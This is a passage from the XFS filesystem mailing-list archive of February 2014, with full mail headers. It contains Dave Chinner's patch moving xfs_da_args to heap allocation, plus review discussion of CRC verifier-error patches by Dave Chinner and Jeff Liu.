an object or lock a buffer. Cheers, Dave. From dave@fromorbit.com Tue Feb 18 22:17:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A35FC8019 for ; Tue, 18 Feb 2014 22:17:24 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 98B8C30408E for ; Tue, 18 Feb 2014 20:17:21 -0800 (PST) X-ASG-Debug-ID: 1392783435-04cbb00c28572240003-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id JiUvwyRr2sWO0evR for ; Tue, 18 Feb 2014 20:17:18 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvYLAMMvBFN5LJYe/2dsb2JhbABZgwY4qRIDmSEXdIIlAQEFJy8zCBgxOQMbGYgEzS8XkyMEmWKJHYdVg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 19 Feb 2014 14:46:50 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WFyaT-00022l-7R for xfs@oss.sgi.com; Wed, 19 Feb 2014 15:16:45 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WFyaT-0001Ff-64 for xfs@oss.sgi.com; Wed, 19 Feb 2014 15:16:45 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 3/3] xfs: allocate xfs_da_args to reduce stack footprint Date: Wed, 19 Feb 2014 15:16:42 +1100 X-ASG-Orig-Subj: [PATCH 3/3] xfs: allocate xfs_da_args to reduce stack footprint Message-Id: <1392783402-4726-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1392783402-4726-1-git-send-email-david@fromorbit.com> References: <1392783402-4726-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392783438 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145267 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The struct xfs_da_args used to pass directory/attribute operation information to the lower layers is 128 bytes in size and is allocated on the stack. Dynamically allocate them to reduce the stack footprint of directory operations. Signed-off-by: Dave Chinner --- fs/xfs/xfs_dir2.c | 344 +++++++++++++++++++++++++++++++++--------------------- 1 file changed, 214 insertions(+), 130 deletions(-) diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c index ce16ef0..fc9a41f 100644 --- a/fs/xfs/xfs_dir2.c +++ b/fs/xfs/xfs_dir2.c @@ -180,16 +180,23 @@ xfs_dir_init( xfs_inode_t *dp, xfs_inode_t *pdp) { - xfs_da_args_t args; + struct xfs_da_args *args; int error; - memset((char *)&args, 0, sizeof(args)); - args.dp = dp; - args.trans = tp; ASSERT(S_ISDIR(dp->i_d.di_mode)); - if ((error = xfs_dir_ino_validate(tp->t_mountp, pdp->i_ino))) + error = xfs_dir_ino_validate(tp->t_mountp, pdp->i_ino); + if (error) return error; - return xfs_dir2_sf_create(&args, pdp->i_ino); + + args = kmem_zalloc(sizeof(*args), KM_SLEEP | KM_NOFS); + if (!args) + return ENOMEM; + + args->dp = dp; + args->trans = tp; + error = xfs_dir2_sf_create(args, pdp->i_ino); + kmem_free(args); + return error; } /* @@ -205,41 +212,56 @@ xfs_dir_createname( xfs_bmap_free_t *flist, /* bmap's freeblock list */ xfs_extlen_t total) /* bmap's total block count */ { - xfs_da_args_t args; + struct xfs_da_args *args; int rval; int v; /* type-checking value */ ASSERT(S_ISDIR(dp->i_d.di_mode)); - if ((rval = xfs_dir_ino_validate(tp->t_mountp, inum))) + rval = xfs_dir_ino_validate(tp->t_mountp, inum); + if (rval) return rval; XFS_STATS_INC(xs_dir_create); - memset(&args, 0, sizeof(xfs_da_args_t)); - args.name = name->name; - args.namelen = name->len; - args.filetype = name->type; - args.hashval = dp->i_mount->m_dirnameops->hashname(name); - args.inumber = inum; - args.dp = dp; - args.firstblock = first; - args.flist = flist; - args.total = total; - args.whichfork = XFS_DATA_FORK; - args.trans = tp; - args.op_flags = XFS_DA_OP_ADDNAME | XFS_DA_OP_OKNOENT; - - if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) - rval = xfs_dir2_sf_addname(&args); - else if ((rval = xfs_dir2_isblock(tp, dp, &v))) - return rval; - else if (v) - rval = xfs_dir2_block_addname(&args); - else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) - return rval; - else if (v) - rval = xfs_dir2_leaf_addname(&args); + args = kmem_zalloc(sizeof(*args), KM_SLEEP | KM_NOFS); + if (!args) + return ENOMEM; + + args->name = name->name; + args->namelen = name->len; + args->filetype = name->type; + args->hashval = dp->i_mount->m_dirnameops->hashname(name); + args->inumber = inum; + args->dp = dp; + args->firstblock = first; + args->flist = flist; + args->total = total; + args->whichfork = XFS_DATA_FORK; + args->trans = tp; + args->op_flags = XFS_DA_OP_ADDNAME | XFS_DA_OP_OKNOENT; + + if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) { + rval = xfs_dir2_sf_addname(args); + goto out_free; + } + + rval = xfs_dir2_isblock(tp, dp, &v); + if (rval) + goto out_free; + if (v) { + rval = xfs_dir2_block_addname(args); + goto out_free; + } + + rval = xfs_dir2_isleaf(tp, dp, &v); + if (rval) + goto out_free; + if (v) + rval = xfs_dir2_leaf_addname(args); else - rval = xfs_dir2_node_addname(&args); + rval = xfs_dir2_node_addname(args); + +out_free: + kmem_free(args); return rval; } @@ -282,46 +304,68 @@ xfs_dir_lookup( xfs_ino_t *inum, /* out: inode number */ struct xfs_name *ci_name) /* out: actual name if CI match */ { - xfs_da_args_t args; + struct xfs_da_args *args; int rval; int v; /* type-checking value */ ASSERT(S_ISDIR(dp->i_d.di_mode)); XFS_STATS_INC(xs_dir_lookup); - memset(&args, 0, sizeof(xfs_da_args_t)); - args.name = name->name; - args.namelen = name->len; - args.filetype = name->type; - args.hashval = dp->i_mount->m_dirnameops->hashname(name); - args.dp = dp; - args.whichfork = XFS_DATA_FORK; - args.trans = tp; - args.op_flags = XFS_DA_OP_OKNOENT; + /* + * If we don't use KM_NOFS here, lockdep will through false positive + * deadlock warnings when we come through here of the non-transactional + * lookup path because the allocation can recurse into inode reclaim. + * Doing this avoids having to add a bunch of lockdep class + * annotations into the reclaim patch for the ilock. + */ + args = kmem_zalloc(sizeof(*args), KM_SLEEP | KM_NOFS); + if (!args) + return ENOMEM; + + args->name = name->name; + args->namelen = name->len; + args->filetype = name->type; + args->hashval = dp->i_mount->m_dirnameops->hashname(name); + args->dp = dp; + args->whichfork = XFS_DATA_FORK; + args->trans = tp; + args->op_flags = XFS_DA_OP_OKNOENT; if (ci_name) - args.op_flags |= XFS_DA_OP_CILOOKUP; + args->op_flags |= XFS_DA_OP_CILOOKUP; - if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) - rval = xfs_dir2_sf_lookup(&args); - else if ((rval = xfs_dir2_isblock(tp, dp, &v))) - return rval; - else if (v) - rval = xfs_dir2_block_lookup(&args); - else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) - return rval; - else if (v) - rval = xfs_dir2_leaf_lookup(&args); + if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) { + rval = xfs_dir2_sf_lookup(args); + goto out_check_rval; + } + + rval = xfs_dir2_isblock(tp, dp, &v); + if (rval) + goto out_free; + if (v) { + rval = xfs_dir2_block_lookup(args); + goto out_check_rval; + } + + rval = xfs_dir2_isleaf(tp, dp, &v); + if (rval) + goto out_free; + if (v) + rval = xfs_dir2_leaf_lookup(args); else - rval = xfs_dir2_node_lookup(&args); + rval = xfs_dir2_node_lookup(args); + +out_check_rval: if (rval == EEXIST) rval = 0; if (!rval) { - *inum = args.inumber; + *inum = args->inumber; if (ci_name) { - ci_name->name = args.value; - ci_name->len = args.valuelen; + ci_name->name = args->value; + ci_name->len = args->valuelen; } } +out_free: + kmem_free(args); return rval; } @@ -338,38 +382,51 @@ xfs_dir_removename( xfs_bmap_free_t *flist, /* bmap's freeblock list */ xfs_extlen_t total) /* bmap's total block count */ { - xfs_da_args_t args; + struct xfs_da_args *args; int rval; int v; /* type-checking value */ ASSERT(S_ISDIR(dp->i_d.di_mode)); XFS_STATS_INC(xs_dir_remove); - memset(&args, 0, sizeof(xfs_da_args_t)); - args.name = name->name; - args.namelen = name->len; - args.filetype = name->type; - args.hashval = dp->i_mount->m_dirnameops->hashname(name); - args.inumber = ino; - args.dp = dp; - args.firstblock = first; - args.flist = flist; - args.total = total; - args.whichfork = XFS_DATA_FORK; - args.trans = tp; - - if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) - rval = xfs_dir2_sf_removename(&args); - else if ((rval = xfs_dir2_isblock(tp, dp, &v))) - return rval; - else if (v) - rval = xfs_dir2_block_removename(&args); - else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) - return rval; - else if (v) - rval = xfs_dir2_leaf_removename(&args); + args = kmem_zalloc(sizeof(*args), KM_SLEEP | KM_NOFS); + if (!args) + return ENOMEM; + + args->name = name->name; + args->namelen = name->len; + args->filetype = name->type; + args->hashval = dp->i_mount->m_dirnameops->hashname(name); + args->inumber = ino; + args->dp = dp; + args->firstblock = first; + args->flist = flist; + args->total = total; + args->whichfork = XFS_DATA_FORK; + args->trans = tp; + + if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) { + rval = xfs_dir2_sf_removename(args); + goto out_free; + } + + rval = xfs_dir2_isblock(tp, dp, &v); + if (rval) + goto out_free; + if (v) { + rval = xfs_dir2_block_removename(args); + goto out_free; + } + + rval = xfs_dir2_isleaf(tp, dp, &v); + if (rval) + goto out_free; + if (v) + rval = xfs_dir2_leaf_removename(args); else - rval = xfs_dir2_node_removename(&args); + rval = xfs_dir2_node_removename(args); +out_free: + kmem_free(args); return rval; } @@ -386,40 +443,54 @@ xfs_dir_replace( xfs_bmap_free_t *flist, /* bmap's freeblock list */ xfs_extlen_t total) /* bmap's total block count */ { - xfs_da_args_t args; + struct xfs_da_args *args; int rval; int v; /* type-checking value */ ASSERT(S_ISDIR(dp->i_d.di_mode)); - if ((rval = xfs_dir_ino_validate(tp->t_mountp, inum))) + rval = xfs_dir_ino_validate(tp->t_mountp, inum); + if (rval) return rval; - memset(&args, 0, sizeof(xfs_da_args_t)); - args.name = name->name; - args.namelen = name->len; - args.filetype = name->type; - args.hashval = dp->i_mount->m_dirnameops->hashname(name); - args.inumber = inum; - args.dp = dp; - args.firstblock = first; - args.flist = flist; - args.total = total; - args.whichfork = XFS_DATA_FORK; - args.trans = tp; - - if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) - rval = xfs_dir2_sf_replace(&args); - else if ((rval = xfs_dir2_isblock(tp, dp, &v))) - return rval; - else if (v) - rval = xfs_dir2_block_replace(&args); - else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) - return rval; - else if (v) - rval = xfs_dir2_leaf_replace(&args); + args = kmem_zalloc(sizeof(*args), KM_SLEEP | KM_NOFS); + if (!args) + return ENOMEM; + + args->name = name->name; + args->namelen = name->len; + args->filetype = name->type; + args->hashval = dp->i_mount->m_dirnameops->hashname(name); + args->inumber = inum; + args->dp = dp; + args->firstblock = first; + args->flist = flist; + args->total = total; + args->whichfork = XFS_DATA_FORK; + args->trans = tp; + + if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) { + rval = xfs_dir2_sf_replace(args); + goto out_free; + } + + rval = xfs_dir2_isblock(tp, dp, &v); + if (rval) + goto out_free; + if (v) { + rval = xfs_dir2_block_replace(args); + goto out_free; + } + + rval = xfs_dir2_isleaf(tp, dp, &v); + if (rval) + goto out_free; + if (v) + rval = xfs_dir2_leaf_replace(args); else - rval = xfs_dir2_node_replace(&args); + rval = xfs_dir2_node_replace(args); +out_free: + kmem_free(args); return rval; } @@ -434,7 +505,7 @@ xfs_dir_canenter( struct xfs_name *name, /* name of entry to add */ uint resblks) { - xfs_da_args_t args; + struct xfs_da_args *args; int rval; int v; /* type-checking value */ @@ -443,29 +514,42 @@ xfs_dir_canenter( ASSERT(S_ISDIR(dp->i_d.di_mode)); - memset(&args, 0, sizeof(xfs_da_args_t)); - args.name = name->name; - args.namelen = name->len; - args.filetype = name->type; - args.hashval = dp->i_mount->m_dirnameops->hashname(name); - args.dp = dp; - args.whichfork = XFS_DATA_FORK; - args.trans = tp; - args.op_flags = XFS_DA_OP_JUSTCHECK | XFS_DA_OP_ADDNAME | + args = kmem_zalloc(sizeof(*args), KM_SLEEP | KM_NOFS); + if (!args) + return ENOMEM; + + args->name = name->name; + args->namelen = name->len; + args->filetype = name->type; + args->hashval = dp->i_mount->m_dirnameops->hashname(name); + args->dp = dp; + args->whichfork = XFS_DATA_FORK; + args->trans = tp; + args->op_flags = XFS_DA_OP_JUSTCHECK | XFS_DA_OP_ADDNAME | XFS_DA_OP_OKNOENT; - if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) - rval = xfs_dir2_sf_addname(&args); - else if ((rval = xfs_dir2_isblock(tp, dp, &v))) - return rval; - else if (v) - rval = xfs_dir2_block_addname(&args); - else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) - return rval; - else if (v) - rval = xfs_dir2_leaf_addname(&args); + if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) { + rval = xfs_dir2_sf_addname(args); + goto out_free; + } + + rval = xfs_dir2_isblock(tp, dp, &v); + if (rval) + goto out_free; + if (v) { + rval = xfs_dir2_block_addname(args); + goto out_free; + } + + rval = xfs_dir2_isleaf(tp, dp, &v); + if (rval) + goto out_free; + if (v) + rval = xfs_dir2_leaf_addname(args); else - rval = xfs_dir2_node_addname(&args); + rval = xfs_dir2_node_addname(args); +out_free: + kmem_free(args); return rval; } -- 1.8.4.rc3 From david@fromorbit.com Wed Feb 19 00:31:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 54E5E8001 for ; Wed, 19 Feb 2014 00:31:04 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D14B0AC00A for ; Tue, 18 Feb 2014 22:31:00 -0800 (PST) X-ASG-Debug-ID: 1392791456-04cb6c6de157ef90001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id xkVG3QJU4qUapNcc for ; Tue, 18 Feb 2014 22:30:57 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsMHAIVOBFN5LJYe/2dsb2JhbABPCoMGvAWFUYEWF3SCJQEBBAEnExwjBQsIAxgJJQ8FJQMhE4d9B80uFxaNclwHhDgEmC+KUIdVg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 19 Feb 2014 17:00:40 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WG0g2-0002LY-1V; Wed, 19 Feb 2014 17:30:38 +1100 Date: Wed, 19 Feb 2014 17:30:38 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 7/9] xfs: add xfs_verifier_error() Message-ID: <20140219063037.GN13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 7/9] xfs: add xfs_verifier_error() References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> <1392767549-25574-8-git-send-email-sandeen@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392767549-25574-8-git-send-email-sandeen@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392791456 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145271 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 18, 2014 at 05:52:27PM -0600, Eric Sandeen wrote: > We want to distinguish between corruption, CRC errors, > etc. In addition, the full stack trace on verifier errors > seems less than helpful; it looks more like an oops than > corruption. > > Create a new function to specifically alert the user to > verifier errors, which can differentiate between > EFSCORRUPTED and CRC mismatches. It doesn't dump stack > unless the xfs error level is turned up high. > > Define a new error message (EFSBADCRC) to clearly identify > CRC errors. (Defined to EILSEQ, bad byte sequence) I think we decided the other best candidates were: EBADE: Invalid exchange EPROTO: Protocol error EBADMSG: Bad message EKEYREJECTED: Key was rejected by service because of the silly glibc translation of EILSEQ: EILSEQ: Invalid or incomplete multibyte or wide character I'm leaning towards EBADMSG as the one to use here. > Signed-off-by: Eric Sandeen > --- > fs/xfs/xfs_error.c | 26 ++++++++++++++++++++++++++ > fs/xfs/xfs_error.h | 1 + > fs/xfs/xfs_linux.h | 1 + > 3 files changed, 28 insertions(+), 0 deletions(-) > > diff --git a/fs/xfs/xfs_error.c b/fs/xfs/xfs_error.c > index 9995b80..8733c59 100644 > --- a/fs/xfs/xfs_error.c > +++ b/fs/xfs/xfs_error.c > @@ -178,3 +178,29 @@ xfs_corruption_error( > xfs_error_report(tag, level, mp, filename, linenum, ra); > xfs_alert(mp, "Corruption detected. Unmount and run xfs_repair"); > } > + > +/* > + * Warnings specifically for verifier errors. Differentiate CRC vs. invalid > + * values, and omit the stack trace unless the error level is tuned high. > + */ > +void > +xfs_verifier_error( > + struct xfs_buf *bp) > +{ > + struct xfs_mount *mp = bp->b_target->bt_mount; > + > + xfs_alert(mp, "Metadata %s detected at %pF, block 0x%llx", > + bp->b_error == EFSBADCRC ? "CRC error" : "corruption", > + __return_address, bp->b_bn); > + > + xfs_alert(mp, "Unmount and run xfs_repair"); > + > + /* XXX handle page-mapped buffers too? */ > + if (xfs_error_level >= XFS_ERRLEVEL_LOW && bp->b_addr) { > + xfs_alert(mp, "First 64 bytes of corrupted metadata buffer:"); > + xfs_hex_dump(bp->b_addr, 64); > + } Just use xfs_buf_offset(bp, 0) here, and you don't have to care about how the buffer is mapped or allocated. Cheers, Dave. -- Dave Chinner david@fromorbit.com From jeff.liu@oracle.com Wed Feb 19 00:36:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1176D8015 for ; Wed, 19 Feb 2014 00:36:09 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 97DE0AC007 for ; Tue, 18 Feb 2014 22:36:08 -0800 (PST) X-ASG-Debug-ID: 1392791767-04cbb00c2a57ab40001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 7p2RvqP0ccHDw4jr (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 18 Feb 2014 22:36:07 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s1J6a68D017282 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 19 Feb 2014 06:36:07 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1J6a5Wo006491 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 19 Feb 2014 06:36:06 GMT Received: from abhmp0006.oracle.com (abhmp0006.oracle.com [141.146.116.12]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1J6a5T3006481; Wed, 19 Feb 2014 06:36:05 GMT Received: from [192.168.1.106] (/123.119.98.215) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 18 Feb 2014 22:36:05 -0800 Message-ID: <530450C6.6030209@oracle.com> Date: Wed, 19 Feb 2014 14:35:50 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Eric Sandeen , xfs@oss.sgi.com Subject: Re: [PATCH 3/9] xfs: skip pointless CRC updates after verifier failures References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> <1392767549-25574-4-git-send-email-sandeen@redhat.com> X-ASG-Orig-Subj: Re: [PATCH 3/9] xfs: skip pointless CRC updates after verifier failures In-Reply-To: <1392767549-25574-4-git-send-email-sandeen@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1392791767 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145271 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 02/19 2014 07:52 AM, Eric Sandeen wrote: > Most write verifiers don't update CRCs after the verifier > has failed and the buffer has been marked in error. These > two didn't, but should. > > Add returns to the verifier failure block, > since the buffer won't be written anyway. > > Signed-off-by: Eric Sandeen > --- > fs/xfs/xfs_alloc_btree.c | 1 + > fs/xfs/xfs_ialloc_btree.c | 1 + > 2 files changed, 2 insertions(+), 0 deletions(-) > > diff --git a/fs/xfs/xfs_alloc_btree.c b/fs/xfs/xfs_alloc_btree.c > index 1308542..144d3b0 100644 > --- a/fs/xfs/xfs_alloc_btree.c > +++ b/fs/xfs/xfs_alloc_btree.c > @@ -373,6 +373,7 @@ xfs_allocbt_write_verify( > XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, > bp->b_target->bt_mount, bp->b_addr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > + return; > } > xfs_btree_sblock_calc_crc(bp); > > diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c > index c8fa5bb..0028c50 100644 > --- a/fs/xfs/xfs_ialloc_btree.c > +++ b/fs/xfs/xfs_ialloc_btree.c > @@ -261,6 +261,7 @@ xfs_inobt_write_verify( > XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, > bp->b_target->bt_mount, bp->b_addr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > + return; > } > xfs_btree_sblock_calc_crc(bp); Looks good to me. Reviewed-by: Jie Liu Thanks, -Jeff From jeff.liu@oracle.com Wed Feb 19 01:57:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B5310801B for ; Wed, 19 Feb 2014 01:57:21 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 963568F804B for ; Tue, 18 Feb 2014 23:57:18 -0800 (PST) X-ASG-Debug-ID: 1392796636-04cbb00c2a57f940001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id cuL3vt3u0SUd1mF3 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 18 Feb 2014 23:57:17 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s1J7vFeu010831 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 19 Feb 2014 07:57:16 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet22.oracle.com (8.14.5+Sun/8.14.5) with ESMTP id s1J7vEIs001953 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 19 Feb 2014 07:57:15 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1J7vEsA020477; Wed, 19 Feb 2014 07:57:14 GMT Received: from [192.168.1.106] (/123.119.98.215) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 18 Feb 2014 23:57:12 -0800 Message-ID: <530463C6.6050509@oracle.com> Date: Wed, 19 Feb 2014 15:56:54 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Eric Sandeen , xfs@oss.sgi.com Subject: Re: [PATCH 4/9] xfs: Use defines for CRC offsets in all cases References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> <1392767549-25574-5-git-send-email-sandeen@redhat.com> X-ASG-Orig-Subj: Re: [PATCH 4/9] xfs: Use defines for CRC offsets in all cases In-Reply-To: <1392767549-25574-5-git-send-email-sandeen@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1392796636 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145273 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Eric, I read the previous comments from Dave about using defines for CRC offsets, and with a grep search after applying this patch, looks there have another two places maybe we should switch them to the macros as well: fs/xfs/xfs_log.c: Do we need a log record crc offset macros for offsetof(struct xlog_rec_header, h_crc))? xfs_dinode.h: we added the XFS_DINODE_CRC_OFF, just use it at below routine? static inline uint xfs_dinode_size(int version) { if (version == 3) return sizeof(struct xfs_dinode); return offsetof(struct xfs_dinode, di_crc); } Thanks, -Jeff On 02/19 2014 07:52 AM, Eric Sandeen wrote: > Some calls to crc functions used useful #defines, > others used awkward offsetof() constructs. > > Switch them all to #define to make things a bit > cleaner. > > Signed-off-by: Eric Sandeen > --- > fs/xfs/xfs_ag.h | 6 ++++++ > fs/xfs/xfs_alloc.c | 10 ++++------ > fs/xfs/xfs_dinode.h | 2 ++ > fs/xfs/xfs_format.h | 2 ++ > fs/xfs/xfs_ialloc.c | 5 ++--- > fs/xfs/xfs_inode_buf.c | 4 ++-- > fs/xfs/xfs_sb.c | 5 ++--- > fs/xfs/xfs_sb.h | 2 ++ > fs/xfs/xfs_symlink_remote.c | 5 ++--- > 9 files 